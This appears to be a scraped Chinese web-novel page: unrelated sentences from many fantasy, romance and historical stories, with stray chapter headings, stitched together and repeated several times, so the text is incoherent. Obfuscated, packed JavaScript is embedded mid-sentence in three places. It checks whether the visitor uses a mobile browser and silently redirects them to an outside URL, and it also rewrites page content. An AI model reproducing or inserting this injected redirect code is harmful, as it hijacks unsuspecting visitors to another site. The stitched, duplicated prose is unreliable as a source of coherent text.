“阿尔泰斯当然**,但是他的后代却活了下来,那枚石蛋实际上就是他产下的卵,只不过我后来去找的时候,石蛋早已经破碎了。”老者眼神迷离了起来,似乎想起了当年的那一幕。 “你们俩真是不聪明,一点都不懂得照顾自己!”说着看向两人,并趁着那些人不注意,给两人使了个眼色。 血月轻轻颤动,仿佛复活了一般,充满了勃勃生机,无数的血光收敛,然后血月竟然轻轻颤动起来,一下接着一下,十分规律,充满韵律。 辰逸的大刀飞速的举起,并且飞速的落下,中戴涛发起了猛烈攻击。 “在家闲着无事,来寻二嫂嫂打牌。”七老太太笑盈盈地走到左边上首位置上坐下来。 瞅着七老太太额上的细细的汗珠,纪芸投去感激的视线。七老太太与纪芸交换了一下眼神,微微点了点头。 李九洋用力的抽口烟。本以为这里已经足够了。沒想林哺心竟然刨根问底。如果可以。他是真的不愿将一切都告诉她。不过。话都已经了这么多。他自然也沒办法继续隐瞒。 “好大的口气,给我杀。”这一刻,刘汉初一举完全安奈不住了。他没有犹豫,便飞速的向夏凡尘冲去。 “我们也要和师傅他们一样去巡游天下吧,那还要那东西干嘛,惹来杀生之祸吗? “如果能让德皇叔为你所用,或许这鹰师也能归在你的手中,如此可好?”叶贞眸色晶亮,言谈举止间宛若运筹帷幄。 晚余拒绝回答这个问题。 一路身体与木板地面摩擦而过,男子黑发凌乱的像鸡窝,好不狼狈。 吃饱喝足,糖糖去找赵秋红她们了,她既然说了,就会去做,从来不会打半点折扣。 此刻,赵嫣的病情似乎已经有些好转,而赵珍珠也在盘算着,她们是不是该乘船出海,南下福州了。 如此看来,轩辕阎风怕是因为她才堕入红尘,而作为古神之后的他,入世历劫必须经过五彩月才行。 禁术虽是强大,到底步卿嫡身受重伤,十几修士又懂专门克制步卿嫡的法子,一番打斗下来步卿嫡只是伤到了几位修士,却未破得了保护赵陵的剑气。 “你没事吧!”穆赶忙过去扶起人鱼,只见人鱼的头上磕了个大包。 霸王龙全程注意着少年的一举一动,自然也注意到了少年目光所及之处。 他别扭的转身,也不等对方同意,急急的就向人界飞去,反正他们是绝对不敢违抗他的命令的。 随从打开了门夜溧并未进去,只是站在门前,身姿绰约颇有几分笑意的看着余鸢这处。 洗好碗筷的男人从厨房里走了出来,见青年正看电视,想走过去坐到他身旁,却突然听到电视里传来禾白少、失踪等字眼。 宋箬溪敬了这一桌,又跟着欧阳氏到下桌去敬。一桌一桌进下去,敬到那位瓶儿表妹坐的那一桌。 最主要的是,可以进一步提升自身的实力,雷鸣高地一行恐怕不会容易,能够实力更强一点,总是好的。 “阿尔泰斯当然**,但是他的后代却活了下来,那枚石蛋实际上就是他产下的卵,只不过我后来去找的时候,石蛋早已经破碎了。”老者眼神迷离了起来,似乎想起了当年的那一幕。 “你们俩真是不聪明,一点都不懂得照顾自己!”说着看向两人,并趁着那些人不注意,给两人使了个眼色。 血月轻轻颤动,仿佛复活了一般,充满了勃勃生机,无数的血光收敛,然后血月竟然轻轻颤动起来,一下接着一下,十分规律,充满韵律。 辰逸的大刀飞速的举起,并且飞速的落下,中戴涛发起了猛烈攻击。 “在家闲着无事,来寻二嫂嫂打牌。”七老太太笑盈盈地走到左边上首位置上坐下来。 瞅着七老太太额上的细细的汗珠,纪芸投去感激的视线。七老太太与纪芸交换了一下眼神,微微点了点头。 李九洋用力的抽口烟。本以为这里已经足够了。沒想林哺心竟然刨根问底。如果可以。他是真的不愿将一切都告诉她。不过。话都已经了这么多。他自然也沒办法继续隐瞒。 “好大的口气,给我杀。”这一刻,刘汉初一举完全安奈不住了。他没有犹豫,便飞速的向夏凡尘冲去。 “我们也要和师傅他们一样去巡游天下吧,那还要那东西干嘛,惹来杀生之祸吗? “如果能让德皇叔为你所用,或许这鹰师也能归在你的手中,如此可好?”叶贞眸色晶亮,言谈举止间宛若运筹帷幄。 晚余拒绝回答这个问题。 一路身体与木板地面摩擦而过,男子黑发凌乱的像鸡窝,好不狼狈。 吃饱喝足,糖糖去找赵秋红她们了,她既然说了,就会去做,从来不会打半点折扣。 此刻,赵嫣的病情似乎已经有些好转,而赵珍珠也在盘算着,她们是不是该乘船出海,南下福州了。 如此看来,轩辕阎风怕是因为她才堕入红尘,而作为古神之后的他,入世历劫必须经过五彩月才行。 禁术虽是强大,到底步卿嫡身受重伤,十几修士又懂专门克制步卿嫡的法子,一番打斗下来步卿嫡只是伤到了几位修士,却未破得了保护赵陵的剑气。 “你没事吧!”穆赶忙过去扶起人鱼,只见人鱼的头上磕了个大包。 霸王龙全程注意着少年的一举一动,自然也注意到了少年目光所及之处。 他别扭的转身,也不等对方同意,急急的就向人界飞去,反正他们是绝对不敢违抗他的命令的。 随从打开了门夜溧并未进去,只是站在门前,身姿绰约颇有几分笑意的看着余鸢这处。 洗好碗筷的男人从厨房里走了出来,见青年正看电视,想走过去坐到他身旁,却突然听到电视里传来禾白少、失踪等字眼。 宋箬溪敬了这一桌,又跟着欧阳氏到下桌去敬。一桌一桌进下去,敬到那位瓶儿表妹坐的那一桌。 最主要的是,可以进一步提升自身的实力,雷鸣高地一行恐怕不会容易,能够实力更强一点,总是好的。 “阿尔泰斯当然**,但是他的后代却活了下来,那枚石蛋实际上就是他产下的卵,只不过我后来去找的时候,石蛋早已经破碎了。”老者眼神迷离了起来,似乎想起了当年的那一幕。 “你们俩真是不聪明,一点都不懂得照顾自己!”说着看向两人,并趁着那些人不注意,给两人使了个眼色。 血月轻轻颤动,仿佛复活了一般,充满了勃勃生机,无数的血光收敛,然后血月竟然轻轻颤动起来,一下接着一下,十分规律,充满韵律。 辰逸的大刀飞速的举起,并且飞速的落下,中戴涛发起了猛烈攻击。 “在家闲着无事,来寻二嫂嫂打牌。”七老太太笑盈盈地走到左边上首位置上坐下来。 瞅着七老太太额上的细细的汗珠,纪芸投去感激的视线。七老太太与纪芸交换了一下眼神,微微点了点头。 李九洋用力的抽口烟。本以为这里已经足够了。沒想林哺心竟然刨根问底。如果可以。他是真的不愿将一切都告诉她。不过。话都已经了这么多。他自然也沒办法继续隐瞒。 “好大的口气,给我杀。”这一刻,刘汉初一举完全安奈不住了。他没有犹豫,便飞速的向夏凡尘冲去。 “我们也要和师傅他们一样去巡游天下吧,那还要那东西干嘛,惹来杀生之祸吗? “如果能让德皇叔为你所用,或许这鹰师也能归在你的手中,如此可好?”叶贞眸色晶亮,言谈举止间宛若运筹帷幄。 晚余拒绝回答这个问题。 一路身体与木板地面摩擦而过,男子黑发凌乱的像鸡窝,好不狼狈。 吃饱喝足,糖糖去找赵秋红她们了,她既然说了,就会去做,从来不会打半点折扣。 此刻,赵嫣的病情似乎已经有些好转,而赵珍珠也在盘算着,她们是不是该乘船出海,南下福州了。 如此看来,轩辕阎风怕是因为她才堕入红尘,而作为古神之后的他,入世历劫必须经过五彩月才行。 禁术虽是强大,到底步卿嫡身受重伤,十几修士又懂专门克制步卿嫡的法子,一番打斗下来步卿嫡只是伤到了几位修士,却未破得了保护赵陵的剑气。 “你没事吧!”穆赶忙过去扶起人鱼,只见人鱼的头上磕了个大包。 霸王龙全程注意着少年的一举一动,自然也注意到了少年目光所及之处。 他别扭的转身,也不等对方同意,急急的就向人界飞去,反正他们是绝对不敢违抗他的命令的。 随从打开了门夜溧并未进去,只是站在门前,身姿绰约颇有几分笑意的看着余鸢这处。 洗好碗筷的男人从厨房里走了出来,见青年正看电视,想走过去坐到他身旁,却突然听到电视里传来禾白少、失踪等字眼。 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宋箬溪敬了这一桌,又跟着欧阳氏到下桌去敬。一桌一桌进下去,敬到那位瓶儿表妹坐的那一桌。 最主要的是,可以进一步提升自身的实力,雷鸣高地一行恐怕不会容易,能够实力更强一点,总是好的。 “阿尔泰斯当然**,但是他的后代却活了下来,那枚石蛋实际上就是他产下的卵,只不过我后来去找的时候,石蛋早已经破碎了。”老者眼神迷离了起来,似乎想起了当年的那一幕。 “你们俩真是不聪明,一点都不懂得照顾自己!”说着看向两人,并趁着那些人不注意,给两人使了个眼色。 血月轻轻颤动,仿佛复活了一般,充满了勃勃生机,无数的血光收敛,然后血月竟然轻轻颤动起来,一下接着一下,十分规律,充满韵律。 辰逸的大刀飞速的举起,并且飞速的落下,中戴涛发起了猛烈攻击。 “在家闲着无事,来寻二嫂嫂打牌。”七老太太笑盈盈地走到左边上首位置上坐下来。 瞅着七老太太额上的细细的汗珠,纪芸投去感激的视线。七老太太与纪芸交换了一下眼神,微微点了点头。 李九洋用力的抽口烟。本以为这里已经足够了。沒想林哺心竟然刨根问底。如果可以。他是真的不愿将一切都告诉她。不过。话都已经了这么多。他自然也沒办法继续隐瞒。 “好大的口气,给我杀。”这一刻,刘汉初一举完全安奈不住了。他没有犹豫,便飞速的向夏凡尘冲去。 “我们也要和师傅他们一样去巡游天下吧,那还要那东西干嘛,惹来杀生之祸吗? “如果能让德皇叔为你所用,或许这鹰师也能归在你的手中,如此可好?”叶贞眸色晶亮,言谈举止间宛若运筹帷幄。 晚余拒绝回答这个问题。 一路身体与木板地面摩擦而过,男子黑发凌乱的像鸡窝,好不狼狈。 吃饱喝足,糖糖去找赵秋红她们了,她既然说了,就会去做,从来不会打半点折扣。 此刻,赵嫣的病情似乎已经有些好转,而赵珍珠也在盘算着,她们是不是该乘船出海,南下福州了。 如此看来,轩辕阎风怕是因为她才堕入红尘,而作为古神之后的他,入世历劫必须经过五彩月才行。 禁术虽是强大,到底步卿嫡身受重伤,十几修士又懂专门克制步卿嫡的法子,一番打斗下来步卿嫡只是伤到了几位修士,却未破得了保护赵陵的剑气。 “你没事吧!”穆赶忙过去扶起人鱼,只见人鱼的头上磕了个大包。 霸王龙全程注意着少年的一举一动,自然也注意到了少年目光所及之处。 他别扭的转身,也不等对方同意,急急的就向人界飞去,反正他们是绝对不敢违抗他的命令的。 随从打开了门夜溧并未进去,只是站在门前,身姿绰约颇有几分笑意的看着余鸢这处。 洗好碗筷的男人从厨房里走了出来,见青年正看电视,想走过去坐到他身旁,却突然听到电视里传来禾白少、失踪等字眼。 宋箬溪敬了这一桌,又跟着欧阳氏到下桌去敬。一桌一桌进下去,敬到那位瓶儿表妹坐的那一桌。 最主要的是,可以进一步提升自身的实力,雷鸣高地一行恐怕不会容易,能够实力更强一点,总是好的。 “阿尔泰斯当然**,但是他的后代却活了下来,那枚石蛋实际上就是他产下的卵,只不过我后来去找的时候,石蛋早已经破碎了。”老者眼神迷离了起来,似乎想起了当年的那一幕。 “你们俩真是不聪明,一点都不懂得照顾自己!”说着看向两人,并趁着那些人不注意,给两人使了个眼色。 血月轻轻颤动,仿佛复活了一般,充满了勃勃生机,无数的血光收敛,然后血月竟然轻轻颤动起来,一下接着一下,十分规律,充满韵律。 辰逸的大刀飞速的举起,并且飞速的落下,中戴涛发起了猛烈攻击。 “在家闲着无事,来寻二嫂嫂打牌。”七老太太笑盈盈地走到左边上首位置上坐下来。 瞅着七老太太额上的细细的汗珠,纪芸投去感激的视线。七老太太与纪芸交换了一下眼神,微微点了点头。 李九洋用力的抽口烟。本以为这里已经足够了。沒想林哺心竟然刨根问底。如果可以。他是真的不愿将一切都告诉她。不过。话都已经了这么多。他自然也沒办法继续隐瞒。 “好大的口气,给我杀。”这一刻,刘汉初一举完全安奈不住了。他没有犹豫,便飞速的向夏凡尘冲去。 “我们也要和师傅他们一样去巡游天下吧,那还要那东西干嘛,惹来杀生之祸吗? “如果能让德皇叔为你所用,或许这鹰师也能归在你的手中,如此可好?”叶贞眸色晶亮,言谈举止间宛若运筹帷幄。 第一卷 第224章 朕错了,朕不是故意的 她知道他在害怕这一战凶多吉少他帮不了忙只愿能够陪着她。 轩辕夜焰对于这样的解释并不赞同却又想不通丹青为什么要偷偷溜出府去。 容姿已经从风华绝代慢慢步入风韵犹存的年岁虽然说富裕的生活使得她看上去比同龄人年轻不少但是脸上还是能够看得出岁月的变化。 一冰冷一富有磁性的两道声音同时响起殷长阳还没反应过来是怎么回事就被自家大哥和二姐一左一右地架住胳膊然后带离了轩辕夜焰的身边。 取消这自然不会这是李秀宁主动提出来的见面现在人家都已经答应了你又突然取消到时候人家会怎么想李世民不知道如果这时候突然取消会是什么结果但是有一点却可以确定那就是多半会得罪梦长生。 “姐姐什么时候来的?怎么也不提前通知我一声 云萝并不是情商低只不过她想挖苦一下荣少顷而已。谁让上次她好心帮忙还被他给数落了。 “荔蕊妈妈给你生弟弟妹妹开心吗?”景雪没有家人无法体会到那种感觉只能问荔蕊。 芳华心间的念头刚落门就发出吱呀一声芳华连忙抬起头来见门口两人朝着屋内走来一前一后迎着光看不清脸却没由来的感到压抑。 一场战‘乱’不少的伤员抬进了营帐这一战双方损失相同都没有讨到任何好处。 “我是不会同意的你杀了我吧!反正迟早你也会被J市的丧尸干掉的。”陈近南咬着牙说道。 话说这几日皇上因为心烦一直独自睡在承宣殿这日他突然梦到一个火球突然从头上蹦下来吓得他猛然惊醒再也没了睡意。 下一刻云非墨习惯性的去讨好身子条件反射的往对方身边靠了靠身边的男人没有意料到她会有如此举动两人挨得太近云非墨的头顶刚刚蹭到了对方的下巴传来了预期之中的疼痛。 池家老大每天忙着地里的活跟着家里的活那些活虽然看不出来但是确实很重要只是却不能赚钱。 到底是没能反抗过那人在布置齐全一切应有尽有的抱厦里柳湘涵被推倒在软榻上衣裙散开男人在她身上肆意索取弄 的她娇喘连连。 “容妈,带她去净身更衣,我要看到一个干净整洁的姑娘,而不是一个脏兮兮的臭丫头!”窦月娥吩咐道。 池眠拢了拢披肩,什么也没说,转身去了旁边的洗手间,空气里还有她身上淡淡的清香。 “好。”要是平时,他肯定不会答应她,今天难得出来约会,让她高兴一次也没什么大不了的。 黄琳笑着,一步步得往后**着,那身影写满了离别,那背景充满了决然。黄琳一点一点的被大雾吞没,消失在迷雾森林中。。。 可是她却不知道。那个时间距离现在是那么的近。她就记起了前尘往事。而且不止她一人。 百里长风平静的面容有所动容,合欢的命不在他的手中,而是在六大门派和一杆不明所以的剑圣弟子手中。 叶辰逸满脸的得意,翘起嘴角笑道:“就知道大叔对我最好了!”说完竟踮起脚尖吻上了赵思齐的嘴角。 阿娅娜好像没有听清楚帕特里克后面所说的话,她只听到了对方说菲德要中队长帕特里克照顾自己。一阵温暖的感觉从内心涌出,这种感觉只有罗素叔叔和南格斯曾经给过自己。 要知道,仅只是一个二流势力,就有神阶坐阵,在刚刚见识了古神级的降临力量后,他不认为,仅比古神级力量低一个层次的神人阶力量,会弱到哪里去。 修岩看着李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617172|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云牧的身影在空中变成黑点消失不见,立刻松了一口气。刚才轻轻看了一眼那掌中世界,他在裂缝中感受到十五位神邸的气息。联想到四族长派出来的十五位神邸,车修岩的心中就有一种恐惧感。 菲德看到了这封信的中间部分,立即就被这出乎意料的原因给震惊了。要知道拜伦?费雷密兹国王已经将近六十,他身边还有一个年轻貌美的王后萝丝曼德,现在的他竟然想要娶珂丝为妻?那当初许诺大公的婚约怎么办? “本来是这样的,但因为有几支佣兵团自愿加入到这次行动之中,所以他们就代替了我们那队正规军的位置。”斯坦利说罢便把身后的三个佣兵团团长请了过来,准备向众人介绍。 夜色加深,不多久,安若和路凌就离开了窗户边上,这个夜晚,最终她们是相互分开的。 “好了,按照你说的,搞定了,回去我再设置一下就行了,先走了。”林轩看着叶静雪房间里那暗紫色的,充满神秘纹路的门说道。 同心阵法光芒大盛,涌动着阵阵霞光,一股无形的力量上透九天,直击向天上的乌云。 埃弗拉也想接受嘘声,但他看到凯飒下底,马上转移路线,在**区附近跑动,随时回防。 那茧蛹被言灵·审判一触,当时即有反应,不住抖擞起来,喷出无数细线,如同蜘蛛吐丝,白茫茫一片,化作一张大网,将那天光罩住,把绘梨衣缚住手脚,往茧蛹中就拖。 那人穿一身黑色连体衣,头戴面罩,被夏弥一把扯下后,露出了一张苍白的脸,全然不见血色。 “……有请第四位。”瑶光轻笑着点头,然后看向公子哥身后的第四位。 “生命力这么强吗?”杜子辕感叹道。肉都被切光了,居然还没死透。 第一卷 第225章 父皇不是好孩子 “可以,我们附近找找,看看又没有什么地方可以休息的!希尔说着,开始四处地寻找着安全的地方。 与此同时,同样在暗处阴暗围观的上官铃,见白夜突然现身,着急地看向队友。 蛊王是他朋友,自然也唤他的名字,这位蛊仙子便也就趁势随着自己的弟弟,唤花千夜的名字了。 王林被逼急了,被连翻挑衅,最终杀戮值为负数被逐出了学院,没有了王林,云梦儿大病一场,等在出来的时候,竟然将脸给刮花了。 随后,卢克夫开始清点人数。清点完之后,就可以正式地开始去西部的旅途。 以往有幸得见玄王的一众人,对他的印象无一不是温和高贵,他虽因修养见人三分笑,却每每透露出一股浓浓疏离的冷漠,犹如高贵难以接近的仙者。 东大陆,玄天宗,“阳明,这次,你一定要救玄天宗,不,你一定要救玄灵大陆。玄圣看见余风瞬间便杀死天圣,连天承镯环出手的机会也来不及,连忙逃回玄天宗,找到阳明,急声说道。 看似一片平静无波实则暗朝汹涌的气氛下,众**当什么也没看见,赶路三日,来到了北大陆的司空府。 “无妨,毕竟三弟的婚礼尚未开始。达墨流反而笨拙地安慰起她来。 “就是这个意思!经过刚刚的事情,她也想明白了。凌一川既然一直不肯对她放手,她越是羞愧隐忍,他就越是得寸进尺!那她,为什么还要忍? “前辈,我有一件事想问,前辈既为龙族,为何不在妖界,反而在源界?楚岩反问道。 魔族一名五等境主在眨眼间被击碎真身,接着残魂还没有飘出,便是被朱煜一剑给绞碎成了粉末。 剩下的功勋,用来换上等灵药能换回三两株,中等和初等就换的更多,至少几十株或几百株。但若用来化螭吻,远远不够,就算加上聂春桃强行借走的两万也差了不少。 但就在下一刻,长鞭和银剑陡然抖落身上的斑驳之色,无边仙光从其中绽放出来,冲天而起。 这么说来,李牧刚刚吹的牛逼,全部都宣告一空,他刚刚装出来的世外高人形象,也在这个时候化作一空。 因为灵魂这种东西,最为神秘,没有人能够参破,除了伴随武道实力提升,能够提升一些灵魂强度,想要把灵魂变得强大,几乎是不可能的事。 异兽虽然厉害,可那也是相对而言。人类军队的配合实力有目共睹,不管了,人家爱败家就败家,趁这个机会,一定要狠狠捞一把。 “谢谢,亲爱的……”郑彩芬连忙在胖男人脸上啄了一口来表示一下。 不过好在离洛-阳越近,义赈和官赈也就越多,再怎么说庙堂上坐着的也是李世民,面对这样规模浩大的大灾不可能什么也不做。 不过这么说也没错,因为曲艺早晚要和熊百万订婚的,这么说是有些提前,但是,发新闻嘛,有的事情是真的就可以了。 秦轩看着苏樱樱高兴的样子,总觉得事情有些不太对劲,但是也不知道哪里不太对劲,所以也没有说什么,就点头答应了跟苏樱樱一起去。 眼下他尽管不情愿,却也不得不为情势所逼。所以他闻言后,很是无奈地叹了口气,然后转头看向爱丽丝,以眼神征询爱丽丝的意见。 厨子的话还没有说完,秦轩突然在旁边把这道菜所有的调料都说了出来,几十种配料一字不差。 秦轩扭过头,直接一把抓住卢森的衣领,然后手上一用劲,直接把他提了起来。 虽然**琼霄和碧霄能请来什么样的援军,但是可以料想的是,来人起码也应该是一名大罗金仙。 一边看,他心里一边腹诽:还真是狗血套路,怎么这种东西都能搞出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“林轩此次前往七星岛是为了寻找一些材料的怜星道友能不能详细说说林郎到底在哪里如今怎么样了难道是出现了什么意外?”冰灵作为大姐上前问道。 宝光道人似乎知道这些水花的可怕脸色稍变张开嘴巴微微一吐奇特的黑色宝光乍现一颗冰珠射出打在了千万钧重水上当即虚空中的碧水天幕被冻结嗙的碎裂开来。 当然要想让李松林彻底就范光装傻还不行还要给这家伙施加点压力。 直到三月初三。上巳节这日。忽然爆出消息。水侧妃又有了身孕。 婠婠急忙飞身来到祝玉妍的身边点穴止住她肩膀上流血的伤口后回过头狠狠地瞪了那个登徒子一眼。 因当时里面很多用具都是严清歌从严家带的。后來已经被搬走了。里面显得空空荡荡的。 李思琪直截了当地表达对黄建树的支持而且是第一个表达这种意见的他的这种表达让与会的人都感到非常惊讶。 她俏皮一笑随后便给医院里的父母留了一通简讯说是厉莫庭有事要走她去送他婚礼就等他任务结束父亲做完手术再进行。 三分钟的拖延刚到所有保安 猛禽的手死死的抓住惊破天的手腕惊破天的剑尖距离猛禽的眼睛只有几十厘米。 眼前这位老者当初带他进入了时空训练营当中因此再怎么说他也算是时空门当中的一名弟子。 这种无形锁链只要没有缠绕在身上就容易挣脱但是一旦缠绕在身上之后想要挣脱比登天还难。 粉丝数量多但人家就只在第一天投了一票就不投了那想拿到优胜也肯定希望不大。 金鲤虽然对人族关注不多却也知道人族应该尊称祂为娘娘这是作为庇护人族而人族给予祂们的敬称。 “我有一个你不得不借给我的理由跟我来吧。”黑王说着便是向某一处飞去。 “怎么?攀上高枝就把旧情人忘了?宋梦涵你也太现实零吧。”卢朗轻哼了声漆黑的眸子盯着她嘲讽的道。 终极轮回内部极端危险之地传言中曾有 破壁者葬在其中,也不知道是真是假。 事情已经到了这个地步,他的混沌迷雾已经被拨开,那此刻便没有必要藏着掖着,一口气**所有人,省的一个一个来,暴露自己更多手段。 “我们只是神灵的仆人,无法理解神的真意。我们只需要按照神的指示去做就好了。”梅姨不愧是维斯特洛第一狂信徒,直接给出了一个苏源无法反驳的理由。 然后通过消化这异兽血肉的灵气,从而让自身的修为实现大幅度的飞跃。 “娘亲梦到媛儿嫁给了三皇子,成了皇后,还梦到媛儿怀了孩子,是个男孩儿。”秦氏说到这里满脸的笑容,一脸褶皱笑起来格外的瘆人,可是在商俪媛看来,却心疼的很。 毕竟这种情况还是要珍惜的,真要是等再过两年,乃木坂的名气大起来,到时候就算是有高坂总裁开口,乃木坂成员自己也不能同意,损失太大了。 以后十几年整个国家都在大兴土木,修路的地方多不胜数,在八十年代末九十年代初期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617174|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,出行真是受罪,妥妥的是风尘仆仆。 “不行,下次成绩一定要再提升一点,一定要堵住那个可恶的老师的嘴”想到了什么,桥本恶狠狠的握了握拳头。 同时,青竹也很佩服像悟善这样有理想并且有勇气去追求理想的人,这样的人,为了自己心中的目标,行走天下,无所畏惧。 于是,在狮族的又一次挑衅下,“再也忍受不住欺压”的宇拉开了与狮族的战争。 就在未来安慰的功夫,主管和其他成员也气喘吁吁的跑了上来,主管听见门里面传来的声音面露苦涩,知道现在没人有心思想听自己的道歉,赶忙拿着钥匙走过去将门打开。 秦淑珍也劝妹妹,孩子有老的来带,有老的亲自物色的保姆不离左右,没什么不放心。 面对张博即将突破,耀德姬决定先发制人,出手攻击李启来干扰张博思考,瀛洲府绝学七曜手完整发挥出来,周围气劲迅速受到干扰。 寒武帝国的大臣们还有寒武太子看到寒武大帝竟然对一个护卫这样客气都是觉得无比的怪异,不过他们又不敢说什么。 怼了一罐咖啡醒神,秦语右手已经握住桃木道剑的剑柄,随时准备出击。 “凌子墨,你可敢跟我在核心弟子的考核中决一死战?”萧升看着凌子墨,眼中射出一道寒光。 我直接被他带到了自助无服务区,一个长桌子,上面各式各样的点心美味的很。 “凤凰一族的士兵听令,拦住白倾城这个乱臣贼子。”慌不择路的白罗匆忙的发布一到命令,白罗的卫队一起冲向白倾城,想要拦住白倾城。 第一卷 第227章 这个孩子我不要 但是陆南心没想到的是,叶栗和叶峻伊根本就不在现场,现场只有陆柏庭安排好的人,还有媒体。 这一符打出,明显能看到王先知腿脚开始发软,出手也有些力不从心。 云图已经不记得自己跑了多远了,他只知道,他仍旧没有把顾寒和重明甩掉。 杨影明明只是一介凡体,那种丢到人堆里根本找不到的稀烂体质,而且服下的那些丹药,效用已经开始减弱了,可为何还是这么强? 而在宋浩辰说出来这句话之后,宋浩辰的妈妈才想起来,自己今天到儿子房间里来,究竟是为了什么事情。 秦铭处事,在谨慎这一块,一直没服过谁,但非必要情况下,他只装自己能够掌控的逼,多一点都不冒险。 林梦现在和他们已经没有了任何的关系,她如何,她的孩子如何,都与他无关。 圣人除了要顺应天道之外,更应有天地万物一视同仁之心胸,绝不能产生厚此薄彼之念。若心存私念,则会对事与人的判断产生错误,从而引发不公之事。 由于视角关系,从下面往上看,只能看见空中是被锁链吊着的铁板。 但是如果回到从前,只有我们两个的世界,一起吃饭看电影聊天运动,到哪儿都跟连体婴一样。 一个练家子在医院里躺了太多天,洪师傅觉得自己的胳膊腿儿都要生锈了。哪怕让他忍着伤痛走两步也比躺在病榻上强,脚踏实地的感觉才舒坦。 4营机修组真的是穷惯了,他们不会在那些意义不大地方投入一丁点财力和精力,于是,这些如同军功章一样的破损痕迹便被完完全全的保留了下来。 正在策马扬鞭的李天,突然抬起头来,浑浊的眼睛也变得锐利了许多;一直紧盯屏幕的沐雪艳,身子不禁地前倾,意识到李天好像发现了什么。 生活就是这样,并不是苦中作乐,而是明知前路无常,我们也要坦然面对。 他今天的要目的,就是熟悉矿山内的情况。至于开采火云矿,反倒是次要的。反正开采五枚火云矿,这是史盛刻意为难他,为的就是每天狠狠的惩罚、折磨他。他要是真的完成了,那才是真的麻烦来了。 那些已经麻木的矿奴,看到秦昊悠闲的样子,少数人侧目,大部分人却是依然麻木的挥舞着手中铁镐,开采矿石。 刘雪虽然没有听到沈成到底跟王辰说了 什么,可她有张眼睛,有看到王辰脸上的神情反应,这绝对是她第一次看到王辰接电话表现的如此反常。 众人听完开始各自回去准备了起来。一一则是突然飞了出去。拦截在了要逃跑的老乌龟的前面。这家伙看着事情不好竟然想溜,不过我也知道他并不是真的想跑,估计也就是性格使然,故意为之而已。 华琥远远地就闻见一股刺鼻的焦臭味,到近前一看,几百名联军士兵被活活烧死在火海里,对面三名术士还在屠戮着联军的士兵,士兵们在这种残酷的场面下终于绷不住了,哀嚎着退了下来。 这么劲爆的吗?不是说那煞星是个先天废柴?废柴还能轻松地躲过慕清的招数?那这大渊是挺瞎的,传言果然不可信,不可信。 因为太过无聊,刘强又抽了两根烟,正当他准备点上第三根的时候,一道耀眼的灯光毫无征兆的出现在了他的头顶上方。 他在去路上飞速挖了起来,将利刃埋下,只漏出短短的一截而已。 “吴公子,这边请,妈妈这就带您先去雅间,您稍等片刻,雪翎姑娘随后就到”,老鸨哪敢违抗公孙贵的命令,只好硬着头皮和卞雪翎作商量之策。 而自己兰若寺那边可以去的镇子,却只有普通凡铁武器,偶尔带有点锋利,坚固属性的都价值不菲。 “假的!那是假的!咳咳,咳咳咳。”苏青赫双腿颤颤巍巍挣扎着起来,苏老夫人急忙和几位下人将他扶坐起。 七宝玄砂塔内,其轰鸣声不止,想来是那只四级冰魅正奋起反抗。 “不错!”第一氪神点了点头,他也有所发现,自己的神兵也能放入迷宫中,童颜神兵击杀玩家,自己有百分之五十收获,但是一仍入迷宫自己就无法控制了,而且对神兵的实力要求很低的。 “再等上几日,纵然此人重伤,十多日已过,也应当差不多恢复了。”凤芷蝶信誓旦旦的说完,低下头,微微撇了撇嘴,显然她也无完全把握。 暮云闭眼,周身的一切莫过于安静,轻轻的扶拨着琴弦,似风似雨,在不经意间让人放下周身的防备。 只有可造之才,家族才会花大力气培养,否则为什么要把资源放在你的身上? 之前接到这个任务的时候,他就心里有些狐疑,所以安排青媛去办时,既让她购买机器人,也让她联系收购这家公司,就怕这个任务中有一些其他“隐藏任务”。 “还是请先生回答卫阶之前的那个问题吧!”卫阶淡然转口说道。 什么,可她有张眼睛,有看到王辰脸上的神情反应,这绝对是她第一次看到王辰接电话表现的如此反常。 众人听完开始各自回去准备了起来。一一则是突然飞了出去。拦截在了要逃跑的老乌龟的前面。这家伙看着事情不好竟然想溜,不过我也知道他并不是真的想跑,估计也就是性格使然,故意为之而已。 华琥远远地就闻见一股刺鼻的焦臭味,到近前一看,几百名联军士兵被活活烧死在火海里,对面三名术士还在屠戮着联军的士兵,士兵们在这种残酷的场面下终于绷不住了,哀嚎着退了下来。 这么劲爆的吗?不是说那煞星是个先天废柴?废柴还能轻松地躲过慕清的招数?那这大渊是挺瞎的,传言果然不可信,不可信。 因为太过无聊,刘强又抽了两根烟,正当他准备点上第三根的时候,一道耀眼的灯光毫无征兆的出现在了他的头顶上方。 他在去路上飞速挖了起来,将利刃埋下,只漏出短短的一截而已。 “吴公子,这边请,妈妈这就带您先去雅间,您稍等片刻,雪翎姑娘随后就到”,老鸨哪敢违抗公孙贵的命令,只好硬着头皮和卞雪翎作商量之策。 